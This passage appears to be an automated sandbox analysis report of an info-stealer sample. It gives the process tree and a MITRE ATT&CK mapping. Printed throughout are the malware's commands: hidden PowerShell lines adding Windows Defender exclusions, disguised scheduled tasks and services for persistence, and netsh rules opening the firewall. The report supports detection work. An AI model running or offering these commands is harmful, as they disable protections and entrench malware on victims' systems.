  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4224
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "SystemSoundsService_50ec4785" /F
  2⤵
  PID:5052
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "SystemSoundsService_50ec4785" /XML "C:\Users\Admin\AppData\Local\Temp\986f0680-a67a-4141-96b3-a77321c588e5.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4344
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3592
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "User_Feed_Synchronization-37b30106-e04b-44f9-bcd6-d64383586469" /F
  2⤵
  PID:4048
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "User_Feed_Synchronization-37b30106-e04b-44f9-bcd6-d64383586469" /XML "C:\Users\Admin\AppData\Local\Temp\9a4b7193-a746-47f4-9bb0-871dabde2f2e.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2692
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "CCleanerSkipUAC_65dcd1dc" /F
  2⤵
  PID:3080
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "CCleanerSkipUAC_65dcd1dc" /XML "C:\Users\Admin\AppData\Local\Temp\993b5d9e-4461-407b-aa98-b155c6ff4892.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'BootExecutor.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3664
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "ProgramDataUpdater_1e95c7ad" /F
  2⤵
  PID:892
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "ProgramDataUpdater_1e95c7ad" /XML "C:\Users\Admin\AppData\Local\Temp\39ab113b-dda7-4cca-b06f-b94686a529f6.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'M1004NUS.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:220
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_4bd28fe1" /F
  2⤵
  PID:1620
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_4bd28fe1" /XML "C:\Users\Admin\AppData\Local\Temp\73550269-d543-4451-bea2-7028100f47ce.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'Holy Check.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5024
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 13 /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\System32\BootFiles\BootExecutor.exe" /RL HIGHEST & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1800
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 13 /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\System32\BootFiles\BootExecutor.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2460
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles\BootExecutor.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4276
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'M1004NUS.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'BootExecutor.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'Holy Check.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:228
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" netsh advfirewall firewall add rule name="WindowsControl" dir=in action=allow program="C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes & exit
  2⤵
  PID:1364
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c schtasks /delete /F /TN "Holy Check" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1456
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /F /TN "Holy Check"
    3⤵
    PID:2052
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" /c schtasks /create /f /sc onlogon /tn "Holy Check" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4988
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc onlogon /tn "Holy Check" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3780
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "Holy Check_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3388
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "Holy Check_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2596
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "Holy Check_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2788
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "Holy Check_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1848
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "Holy Check_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1744
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "Holy Check_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2936
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "Holy Check_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4496
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1180
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "Holy Check_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2780
- C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe
  "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Modifies Windows Defender DisableAntiSpyware settings
  - Modifies Windows Defender TamperProtection settings
  - UAC bypass
  - Executes dropped EXE
  - Registers new Windows logon scripts automatically executed at logon.
  - Windows security modification
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:2684
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes & exit
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1564
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:2168
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete "WindowsUpdaterDefenderMicrosoft"
    3⤵
    - Launches sc.exe
    PID:460
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"
    3⤵
    - Launches sc.exe
    PID:736
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" start "WindowsUpdaterDefenderMicrosoft"
    3⤵
    - Launches sc.exe
    PID:3256
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c schtasks /delete /F /TN "Holy Check" & exit
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2556
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /F /TN "Holy Check"
      4⤵
      PID:2356
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "Holy Check_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2976
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "Holy Check_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4448
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "MicrosoftEdgeUpdateTaskMachineCore_cb506cfd" /F
    3⤵
    PID:3400
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "Holy Check_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    PID:376
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "Holy Check_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2088
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "Holy Check_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    PID:1476
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "Holy Check_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3648
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "Holy Check_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    PID:3668
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "Holy Check_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4396
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "MicrosoftEdgeUpdateTaskMachineCore_cb506cfd" /XML "C:\Users\Admin\AppData\Local\Temp\69a8d2c2-6638-4f2d-ae9b-beed1bd1912e.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2344
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "Adobe Acrobat Update Task_528e9b42" /F
    3⤵
    PID:4528
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "Adobe Acrobat Update Task_528e9b42" /XML "C:\Users\Admin\AppData\Local\Temp\090c2772-21e4-4237-8fec-1ecc1c12ccfe.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:372
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "OneDrive Standalone Update Task_03d655cc" /F
    3⤵
    PID:4264
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "OneDrive Standalone Update Task_03d655cc" /XML "C:\Users\Admin\AppData\Local\Temp\1b7d4f3f-e2ad-4ae9-b0bd-1c5a9075e34f.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4888
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "CCleanerSkipUAC_f26eaf9d" /F
    3⤵
    PID:4424
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4280
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "CCleanerSkipUAC_f26eaf9d" /XML "C:\Users\Admin\AppData\Local\Temp\12ce901f-2392-4417-858f-b835698c943e.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2004
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_34940e82" /F
    3⤵
    PID:2088
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_34940e82" /XML "C:\Users\Admin\AppData\Local\Temp\2ef03c52-a2a0-48d3-8c99-ec1cd9b6a596.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4916
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "CCleanerSkipUAC_2562ef45" /F
    3⤵
    PID:1980
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4528
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "CCleanerSkipUAC_2562ef45" /XML "C:\Users\Admin\AppData\Local\Temp\30f31cfd-749e-4df7-959d-f99978572bf8.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:816

C:\Users\Admin\AppData\Local\Temp\2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe
C:\Users\Admin\AppData\Local\Temp\2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:5056

C:\Windows\System32\BootFiles\BootExecutor.exe
C:\Windows\System32\BootFiles\BootExecutor.exe
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender TamperProtection settings
- UAC bypass
- Executes dropped EXE
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2736
- C:\Windows\system32\cmd.exe
  "cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\System32\BootFiles\BootExecutor.exe" enable=yes & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3572
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\System32\BootFiles\BootExecutor.exe" enable=yes
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:2916
- C:\Windows\system32\sc.exe
  "sc.exe" delete "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:4280
- C:\Windows\system32\sc.exe
  "sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\System32\BootFiles\BootExecutor.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:5060
- C:\Windows\system32\sc.exe
  "sc.exe" start "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:840
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4652
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Delete /TN "StartupAppTask_d98900ed" /F
  2⤵
  PID:3852
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Create /TN "StartupAppTask_d98900ed" /XML "C:\Users\Admin\AppData\Local\Temp\e0a1b1b1-b1ce-4582-a919-4ea27370fbc2.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3500
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Delete /TN "FamilySafetyMonitor_9eea181c" /F
  2⤵
  PID:1768
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Create /TN "FamilySafetyMonitor_9eea181c" /XML "C:\Users\Admin\AppData\Local\Temp\b7bb5266-451a-4bba-ad62-231cfa150577.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1160
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Delete /TN "DropboxUpdateTaskMachineCore_ac8b26b1" /F
  2⤵
  PID:5096
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Create /TN "DropboxUpdateTaskMachineCore_ac8b26b1" /XML "C:\Users\Admin\AppData\Local\Temp\ab9ee54b-5caf-46b4-833d-0e7a3763c7ff.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:736
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Delete /TN "MicrosoftEdgeUpdateTaskMachineCore_027df951" /F
  2⤵
  PID:3372
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5060
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Create /TN "MicrosoftEdgeUpdateTaskMachineCore_027df951" /XML "C:\Users\Admin\AppData\Local\Temp\797fde8f-7412-493c-8791-6f84f6d51c42.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2564
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Delete /TN "StartupAppTask_0fc85fcf" /F
  2⤵
  PID:4268
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Create /TN "StartupAppTask_0fc85fcf" /XML "C:\Users\Admin\AppData\Local\Temp\9d47ac63-c19e-4bb3-81ed-0a59a68ea54e.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3976
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Delete /TN "Intel PTT EK Recertification_067ed531" /F
  2⤵
  PID:3068
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Create /TN "Intel PTT EK Recertification_067ed531" /XML "C:\Users\Admin\AppData\Local\Temp\5310258e-bf86-4c36-980d-66ac2efa80ae.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4712
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc onlogon /tn "Holy Check" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" & exit
  2⤵
  - Executes a command shell one-liner
  PID:2000
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc onlogon /tn "Holy Check" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3412

C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe
C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:4316

C:\Windows\System32\BootFiles\BootExecutor.exe
C:\Windows\System32\BootFiles\BootExecutor.exe
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3764

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Modify Registry